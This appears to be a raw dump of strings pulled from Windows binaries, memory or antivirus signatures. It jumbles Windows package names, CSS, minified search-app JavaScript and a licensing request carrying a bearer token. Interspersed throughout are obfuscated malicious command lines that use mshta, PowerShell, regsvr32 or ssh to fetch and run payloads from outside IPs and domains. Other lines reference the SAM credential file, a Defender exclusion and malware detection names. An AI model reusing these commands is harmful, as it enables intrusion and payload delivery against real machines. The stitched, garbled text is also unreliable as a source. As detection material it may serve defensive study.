iles\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe
 Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
+ Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
/ Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
\mshta.exe%systemroot%\system32(http://80.82.66.58/dtkms/attachment1.hta
Srguments>-nologo-executionpolicybypass-noninteractive-windowstylehidden-encodedcommandjabfahiacgbv
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Windows
Windows
0Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewyL/
.MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewyI-
-MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewyG,
,MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewyI+
+MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewyG*
*MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewyK)
)MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewyG(
(MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewyM'
'MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewyM&
&MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewyM%
%MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewyM$
$MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewyM#
#MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewyT"
!Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbweP 
 Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbweT
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy_
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy[
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy\
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewyV
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy\
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewyY
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewyZ
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyZ
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewyY
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewyW
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe[
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewyX
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewyN
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewyF
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe_
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyW
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyM
c:\users\user\source\repos\godpotato2\godpotato2\obj\x64\release\net8.0-windows8.0\win-x64\vicrea.pdbc
?http://198.23.250.211/1908/http://192.210.195.50/1009/:\Windows\System32\cmd.exe /k regsvr32.exe  "
Behavior:Win32/StoppedWindowsUpdate
GetWindowsDirectoryW
Windows.Data.Input.PersonalWords.UsageInfo
Windows.Data.Platform.Partitioning.PartitionSet
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.UnifiedTile.StartGlobalProperties
c:/windows/system32/d
c:/windows/system32/d
c:/windows/system32/dl
0cmc.cxe /c ipconfig /all > c:\WINDOWS\Temp\2020.tmp
GetSystem32Path
_system32Path
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://uits-bd.com/images/quote6.hta'
c:\windows\system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.\*i*\s*3*\m*ta.e*http://185.196.10.124/oo"
powershell-noprofile-executionpolicybypass-windowstylehidden-c"set-alias-namemint-value('{0}{1}'-f'cu','rl');mint-useb
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://198.46.174.157/room/room3.hta'
\$c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://198.46.174.157/bars/super.hta'
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden-nop-c"iex(irmhttps://api.robquiz.com/luemi/
c:\windows\system32\cmd.exe/ccopy"\\typically-nut-personalized-syndication.trycloudflare.com
c:\windows\system32\cmd.exe/v/k"s^t^ar^t/m^i^n""p^o^wers^h^e^l^l-wh^i^dde^n-no^l^ogo-nop-epby^pa^ss-en^cod^edcom^m^and
\windows\currentversion\internet settings\activex cache
'windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.6
/ult":"https://www.bing.com/AS/API/WindowsCorOH3
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
^windows.appServiceP
1f^windows.backgroundTaskH
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
WindowsDeleteStringBuffer
Lua:WrittenToDesktopSubfolderByWindowsBinary<
Windows
Microsoft.Windows.Security.CAPI
Microsoft.Windows.TlgAggregateInternal
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://cdn-connect.docusigner.info/sign/0b9e26b65ba8fc26d2afe705fa93c7e1a4c27d2b6c170ab38ec81f9beb2a472a/bang.mp3')
jc:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('m##s#h#t##a###h##tt##p#:###/###/8#8###.##151###.#1##92###.##16#5###/m###a##i##n#1###220/m###a#i#n##1###'-replace'#')
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://cdn-connect.docusigner.info/sign/0b9e26b65ba8fc26d2afe705fa93c7e1a4c27d2b6c170ab38ec81f9beb2a472a/h.mp3')".
cmd.exej-ipkdc:\windows\system32\cmd.exesmietnik}/ylc/x/v/cstar^t^ms^i^ex^ec^r^m^p^pwb^l=j^d^yyszzf^g/f^v"http://6t.pm:8080/amb/u98gxrx5idwbdes/!computername!"/^q^u^ie^t"%systemroot%\system32\imageres.dll%
"C:\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe" -RegisterProcessAsComServer -Embedding
GetWindowsDirectoryW
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
C:\WINDOWS
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.BackgroundTransfer.Internal'
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.KeyboardKeyEventArgs
\Windows\
closeAllWindows
Application Windows cannot be created once the CoreApplicationView has uninitialized
Microsoft-Windows-WMIC-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1455.cat
t .scope-tile.focusable:focus:not(:active) .userProfileMenuIcon{border-color:rgba(0,0,0,.8956);border-radius:7px}.darkTheme .scopes-list .scope-with-background__backButton .focusable:focus:not(:active) .iconContent,.darkTheme .scopes-list .scope-tile.focusable:focus:not(:active) .scope-tile__button,.darkTheme .scopes-list .scope-tile.focusable:focus:not(:active) .userProfileMenuIcon{border-color:#fff}.scopes-list .scope-tile.focusable:not(:active):focus,.scopes-list .scope-tile.focusable:active{outline:0}.scopes-list #rwMedallion[data-windows-version="11"]{height:44px}.scopes-list .scope-with-background__leftCaret .iconContent,.scopes-list .scope-with-background__rightCaret .iconContent,.scopes-list .scope-with-background__backButton .iconContent,.scopes-list .scope-tile__button,.scopes-list #rwMedallion[data-windows-version="11"],.scopes-list .userProfileMenuIcon{--rw-color:rgba(0,0,0,.8956);border-radius:4px;color:rgba(0,0,0,.8956)}.darkTheme .scopes-list .scope-with-background__leftCaret .iconContent,.darkTheme .scopes-list .scope-with-background__rightCaret .iconContent,.darkTheme .scopes-list .scope-with-background__backButton .iconContent,.darkTheme .scopes-list .scope-tile__button,.darkTheme .scopes-list #rwMedallion[data-windows-version="11"],.darkTheme .scopes-list .userProfileMenuIcon{--rw-color:#fff;color:#fff}.scopes-list .scope-with-background__leftCaret .iconContent:hover,.scopes-list .scope-with-background__rightCaret .iconContent:hover,.scopes-list .scope-with-background__backButton .iconContent:hover,.scopes-list .scope-tile__button:hover,.scopes-list #rwMedallion[data-windows-version="11"]:hover,.scopes-list .userProfileMenuIcon:hover{background-color:rgba(255,255,255,.7)}.darkTheme .scopes-list .scope-with-background__leftCaret .iconContent:hover,.darkTheme .scopes-list .scope-with-background__rightCaret .iconContent:hover,.darkTheme .scopes-list .scope-with-background__backButton .iconContent:hover,.darkTheme .scopes-list .scope-tile__button:hover,.darkTheme .scopes-list #rwMedallion[data-windows-version="11"]:hover,.darkTheme .scopes-list .userProfileMenuIcon:hover{background-color:rgba(255,255,255,.0837)}.scopes-list .scope-tile__title{--rw-color:rgba(0,0,0,.8956);--rw-font-color:rgba(0,0,0,.8956);background-color:rgba(243,243,243,.76);color:rgba(0,0,0,.8956);border:1px solid rgba(0,0,0,.0578);border-radius:999px;font-size:.87rem}body[dir] .scopes-list .scope-tile__title{margin:0;padding:4px 11px 6px}.darkTheme .scopes-list .scope-tile__title{--rw-color:rgba(225,225,225,.0698);background-color:rgba(255,255,255,.0605);border-color:rgba(225,225,225,.0698);color:#fff}.scopes-list .scope-tile__title:hover{background-color:rgba(249,249,249,.5)}.darkTheme .scopes-list .scope-tile__title:hover{background-color:rgba(255,255,255,.0837)}.scopes-list .bottomPill::before{direction:ltr;content:"";position:absolute;bottom:0;transform:translateX(-50%);height:3px;width:12px;border-radius:999px;background-color:var(--accent11)}body[dir='ltr'] .scopes-list .bottomPill::before{left:50%}body[dir='rtl'] .scopes-list .bottomPill::before{right:50%}.scopes-list .bottomPill:active::before{width:8px;background-color:var(--accent18)}.scopes-list .bottomPill:hover::before{background-color:var(--accent17)}.darkTheme.scopes-list .bottomPill::before{background-color:var(--accent12)}.darkTheme.scopes-list .bottomPill:hover::before{background-color:var(--accent19)}.darkTheme.scopes-list .bottomPill:active::before{background-color:var(--accent20)}.scopes-list .brandingBarContainer{display:flex;justify-content:center;align-items:center;font-size:12px;border-radius:4px;align-self:center;height:28px;width:auto;max-width:100px}body[dir] .scopes-list .brandingBarContainer{padding:4px 4px}body[dir='ltr'] .scopes-list .brandingBarContainer{margin-right:8px}body[dir='rtl'] .scopes-list .brandingBarContainer{margin-left:8px}.scopes-list .brandingBarContainer .brandingBarText{max-width:92px;display:inline-block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}body[dir] .scopes-list .brandingBarContainer .brandingBarText{padding-botto
GetProcessWindowStation
CloseWindowStation
OS=Windows_Nl
Microsoft.Windows.Health.TestInProduction
copy "c:\windows\x
Microsoft.Windows.Security.SystemSetupByInf
Microsoft.Windows.DriverInstall
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
api-ms-win-core-windowserrorreporting-l1-1-0.dll
\windows\tabletpc'-name'#shadow_
\windows\curm
windows\system32\config\sam
2My current credentials (Windows logon information)
execute("@homedrive&""\windows\microsoft.net\framework\
NtUserSetWindowShowState
NtUserSetWindowState
NtUserSetWindowStationUser
NtUserSetWindowsHookAW
NtUserSetWindowsHookEx
NtUserUnhookWindowsHook
NtUserUnhookWindowsHookEx
NtUserUnlockWindowStation
NtUserUpdateWindows
|Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UProcessesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
C:\Windows\System32"
\windows\cur
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
c:\windows\debugc
amd64_microsoft-windows-eudcedit_31bf3856ad364e35_none_dc451a8f649a98af
amd64_microsoft-windows-eventaggregation_31bf3856ad364e35_none_bda5fbf704dd9258
amd64_microsoft-windows-eventcollector_31bf3856ad364e35_none_54140576507848df
amd64_microsoft-windows-eventcreate.resources_31bf3856ad364e35_en-us_a0f20e23b913c955
amd64_microsoft-windows-eventcreate_31bf3856ad364e35_none_959fde3ee4982f44
amd64_microsoft-windows-eventforwarding-adm_31bf3856ad364e35_none_6716d67920c9a8a2
amd64_microsoft-windows-eventlog-adm.resources_31bf3856ad364e35_en-us_730f10472815d9a2
amd64_microsoft-windows-eventlog-adm_31bf3856ad364e35_none_7a3021e551c9ad81
amd64_microsoft-windows-eventlog-api.resources_31bf3856ad364e35_en-us_536d7ae3e1ef5832
amd64_microsoft-windows-eventlog-api_31bf3856ad364e35_none_79aa61ad522e9771
^\device\harddiskvolume%d*\program files\windowsapps\microsoft%.office%.desktop%.
Microsoft.Windows.Launcher.Client
I:methodPOST:path/v7.0/licenses/content:authoritylicensing.mp.microsoft.com:schemehttpscontent-typeapplication/json; charset=utf-8authorizationt=EwCIBV8iAQAUoww/a6IG4fA9r/W842wlbbVGZIoAAc3qEJQ18DR0ejxZwekRWXTZpcc6hJBeRqyp9ikspbkWuyw43CFisW+SmFtXTVHdoFmIrbNWJ+a/RBTqG4lFN+GHXccu+JH64g8XSoyRUK3DTjE9hJl9oKpqEIKYvVOVZ7vVh4DxUR9bNogi5vQYEs44wAGKIABEUuQfus1YyasVVoVebktComYuiCpfuHhWcE0TULwgkb9k/I7xvpCYXcfgLm3HkoWuKgXvU1kXuHA1UlfgsFmnmWzo32pB6eu9FmkCC2DV2NO/s8uFCvwrJIqeberonk0TpMsqPNOd1MehM0KAfKRTbE66shlRgufvrX7SzOV/dTMEDDbixYJzpFsQZgAAEJLXhGOpy7OgC90Zca7ZGuRQBM0IMSSsz14b90JwXEC8guWE+0+SCYGwimLBG79ZyLDBkdOOgavG+nEvQny0JlVhogp8KCusx+ZAHMu1lk3rx+0wUiZ+HkLxYtxCOxKz0q1It5PT9nV/DoNRiY5XjtWDRDg8CPbbKXXtp6hYcM5uPC4JsjdYgaKIiINETQ2a0zYggGBLbGlL/OKaLxbPv+Y3DEOTj07Ln0SrXdXCa4cP2kJKPblPrjkLtBFHzjTnNikqjRj53l/kyvO6prVTPEy6vKNlRRbmpneZuI+1m700zSHqA+RmSnQdnT8KOxCsqtWfvGTz482ZLrADSLQn8Gf6j8cKYciO/4rmFi5qKjH3Z9ZCMNg32SGld7zCwkuKoW1sfjkCIKma4+n4KM7ebW8f7P8/qf/lb/z7DeHJ+qyTz74m5sM6MLzh34fu2YW185X8MqCm6IKE/wt0OdL9pxTYae842Ax5aVp0meWE+KZ3a0FEF6Rd7dXhV2EnVbmdaRpFaS+4vPazD9kDBdBj9eubnHNA09TFBLBrWx2KKhadEnGjzpvtUJWUB97e+Ctz3vGnCDoSRgMBlIkfE1h+GPCfi4Cj5pjh5hn2p6ME/+J9Qd8Nn5L/qJc+HHUASq+eRlG1rPIfWCS/+VtqOORKnYEO+04qHyDOpcNQ7COtH50wylDljWkBfgQp61C7dS0a4ZSImtqpZmJlbc7XLKS74asHzcyQrXBSpwqGb8RRfC86kLff/lE9j8JH3vhZoPc+j0EYv2bTd4t/cQBD1c0t0DXLLpknw7gG8gXyFvaA36pWsOCiOTDSuYmYcz7AsPvjQNI6GX7VZPzPDhhImegFftcjTUKboOXZhEJYMVzb22Bcc55+WFw9o7sBZvNhSie6Hs1vwmUAcEy7tJxGi0H539TNLIvmNJbHUO/Vze7q1EIRUTL43wXtvuEGlcMiCSTveHc4iQfjjw2/lIGeSBf6DROatcKJzdo18ays7o/ms8c57PdUOIgCYug4rN8q4BAcNR1xGZKxV8dQOweaZ6wu2z/OFdC5DQH0BQzSn9G+5KHB89y0g4x9yDsNNw5a/gSfPCIfUhXgjKjHKTRWwt5KuKE9AnrXdiWXZwKRhsBd5zPhjajdUqQILe6TgRefm2fNxZ4VYywEHqwDLN2e1xYBWLz+UTJQSHxajfneUauA0KEqPcxwlFYC9qq/zMuDtS9KaltRWhCKdeHLAL/+gaB6BkCGRfokvn/i3XVRavcnPvPY4hXkw+zM4MhwwWn/SqHVoCDFcgDjmYXkISnZsofSskAk/1tr66qwBf5+EGMjxS6eC2TZLN5SatnqJy7u/wFp+NA0MY1NyxzP03vlTgcQ5vtd5+yzk5EXAIdu41lJ+OJIEmCQ7GMx/yPmW5Ja9OPMrvH5uy5kd4ibOpRzRxj52nsyGVMOVAfBhBmZ9rA7ircVV81QmQsH30jt9xajCvJ2dUAdpEimQD3xuzMLGSM5uw4i+3YE&p=fromWindowsLicenseManageruser-agentWindowsLicenseManager/26100.1.amd64fre.ge_release.240331-1435-7840ms-cvhR8hEN1TAkGJnnsp.3content-length761
Software\Microsoft\Windows\ptarmical\Uninstall\turede\ryotwarS
WindowsOK1A2FB36DAC95E1F9CMulitiExecute@@CDownExecute@@CDriveHide@@CPortForward@@NetWorkSetDlg@@CPrivSelected@@!#HSTR:TrojanDownloader:MSIL/Tnega.RRA1811!MTB
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
:\WINDOWS\Syst
SERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
Windows Produc
'PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
1f^Microsoft.Windows.XGpuEjectDialog
WINDOWS_DIA
on Windows Search
17c^com.microsoft.windows.services.experiences
com.microsoft.windows.services.experiences
190^com.microsoft.windows.websearchprovider
com.microsoft.windows.websearchprovider
1ad^windows.gamingApp
\windows\system32\MdmDiagnosticsTool.exe$/
WindowsApp
Microsoft.Windows.Shell.DelayAllocateTLS
ISystem.Runtime.WindowsRuntime, PublicKey=00000000000000000400000000000000
QSystem.Runtime.WindowsRuntime.UI.Xaml, PublicKey=00000000000000000400000000000000
WWindowsBase, PublicKey=0024000004800000940000000602000000240000525341310004000001000100B5FC90E7027F67871E773A8FDE8938C81DD402BA65B9201D60593E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F74750E5975C64E2189F45DEF46B2A2B1247ADC3652BF5C308055DA9
-windowstylehidden
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows-874
windows-1252
windows-1253
Windows-1254
windows-1255
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
c:\windows\system32\cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://ctreec.se/file/
WindowStyle Hidden""p8
I/WindowsCortanaPane/V2
amd64_microsoft-windows-exfat_31bf3856ad364e35_none_e0d7b88277158cac
amd64_microsoft-windows-expand.resources_31bf3856ad364e35_en-us_2a98a2d95dbd07b9
amd64_microsoft-windows-expand_31bf3856ad364e35_none_608945e4373a5798
amd64_microsoft-windows-exploitguard-adm_31bf3856ad364e35_none_9646574473573075
amd64_microsoft-windows-explorer-shortcuts_31bf3856ad364e35_none_21f95eebcd557ef7
amd64_microsoft-windows-explorer-sihost_31bf3856ad364e35_none_5b466ca086fff852
amd64_microsoft-windows-explorer.resources_31bf3856ad364e35_en-us_ae8c65416d086a0c
amd64_microsoft-windows-explorerframe_31bf3856ad364e35_none_a965b811341f9fd6
amd64_microsoft-windows-explorer_31bf3856ad364e35_none_07f4968ca53e57d9
amd64_microsoft-windows-extrac32.resources_31bf3856ad364e35_en-us_0681ab0d7b88e09d
server\audiosrv\windowspolicymanager\application.h
"^exclusion_commandrrrradd_windows_defender_exclusion
.cmd\"-windowstylehidden"
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
windows:store:l
	xeSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Runclipsrv.exesessmgr.exemstinit.execomrepl.exelogman.execmstp.exe402DA7F3-FFAE-83BE-F133-EA62B44EACA5
wscript.createobject("scripting.filesystemobject")reg delete "hklm\software\microsoft\windows nt\currentversion\svchostreg delete "hklm\system\currentcontrolset\services\%snet stop %s.vbs
P/c echo a > \system32\\cmd.exe /c start \system32\winn32t.exebloukassswinzz.exewinn32t.exe81.209.112.blockpornaccess
!#SCPT:WindowsSandboxConfig.G
WindowsPowerShell
WindowsPowerShell
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
t:"&#xE7B2"}}else if(n.config.enableSpeedTestIconEnhance&&t&&!r()&&(u(t,"speedtest")||u(t,"speed test")))return{type:0,className:"SpeedTestIcon"};return n.config.enableBlueSearchBPForWebSuggestion||n.config.enableSolidSearchForWebSuggestion?{content:n.Host.getWindowsTheme()==2?n.config.qfWebSuggestionIconUrlDark:n.config.qfWebSuggestionIconUrlLight,type:0,isWebSuggestionIcon:!0}:Object.assign({content:gf(),type:n.config.coherentWebSearchWithEdgeIcon?0:2},n.config.enableAccentColorIcon&&{needsAccentColor:!0})}function br(t){const i=n.config.enableXAsMultiplicationOperator?"[+*xX/^-]":"[+*/^-]",r=new RegExp(`^[+-]?((\\d*\\.\\d+|\\d+)\\s*${i}\\s*)+((d*\\.\\d+|\\d+)\\s*)$`);return r.test(t)}function u(n,t){const i=new RegExp(`\\b${t}\\b`,"i");return i.test(n)}function fi(){return n.config.deprecateCortanaMDL2?"&#xE753":"&#xE9BE"}function as(t){return n.Host.getLocString(t?(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())?"SeeSchoolAndWebResults":"SeeWorkAndWebResults":su()?"SeeBingChatResults":kr())}function kr(){return n.config.addOpenPrefixToOnlineSuggestion?"OpenWebResults":n.config.enableNewWebSuggestionAnnotation?n.config.webSuggestionAnnotationKey:"SeeWebResults"}function vs(t){return n.msbHost&&n.isDataSourceEnabled("MSBC",t)}function dr(n){return n=="PPL"||n=="MPPL"||n=="MGRP"}function gr(n){return n=="MFIL"}function ys(){const t=n.config.msbSuggestionTophitRule;switch(t){case 1:return oe;case 2:default:return se}}function ps(n){return n=="MPPL"||n=="MGRP"||n=="MBKS"||n=="MQNA"||n=="MFIL"||n=="MBLD"||nu(n)}function nu(n){return n=="MVALL"||tu(n)}function tu(n){return n=="MVPPL"||n=="MVGRP"||n=="MVSIT"||n=="MVFIL"||n=="MVMES"||n=="MVYAM"||n=="MVCON"}function ws(n){switch(n){case"MVPPL":return"MPPL";case"MVGRP":return"MGRP";case"MVFIL":return"MFIL";default:return undefined}}function a(n){return n.handoffType===17}function bs(n,t){const i="b_hide";n&&(t?n.classList.remove(i):n.classList.add(i))}function ks(t,i){if(!n.config.limitScaleRange){const r="fixedHeightWin11";t&&(i?t.classList.add(r):t.classList.remove(r))}}function et(n,t){n instanceof HTMLElement&&(n.style.width=t)}function ds(t,i,r){if(t){const{TextScaleFactor:f}=n.RuntimeConfiguration,u=f>1,e=n.config.useCobaltCSS;if(i)if(r)u?t.getAttribute("style")||(et(t.querySelector(".dsb-fwp-left"),"57.1%"),t.querySelector(".dsb-fwp-left").style.marginRight="2.2%",et(t.querySelector(".dsb-fwp-right"),"40.7%")):(t.querySelector(".dsb-fwp-left").removeAttribute("style"),t.querySelector(".dsb-fwp-right").removeAttribute("style"));else if(u){if(!t.getAttribute("style")){const n=e?"59.32%":"53.31%";et(t,n)}}else t.removeAttribute("style")}}function iu(){return ThresholdUtilities.isRightToLeftLanguage(n.uiLanguageCache)}function gs(){ei={}}function ot(t){let i=ei[t];if(typeof i=="undefined"){let r=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch;r.getFolderPathFromKnownFolderIdGuid?(i=n.safeExecute(()=>r.getFolderPathFromKnownFolderIdGuid(t),"getPathFromFolderID","",t),i=i.toLocaleLowerCase()):i="";ei[t]=i}return i}function nh(){oi={}}function si(n){if(!n.startsWith("{"))return n;let t=oi[n];if(!t){let i=n.match(th);t=i?ot(i[1])+i[2]:n;oi[n]=t}return t}function ih(n){return n.startsWith("file:")&&(n=n.slice(5)),n.replace(/\//g,"\\")}function rh(t){return 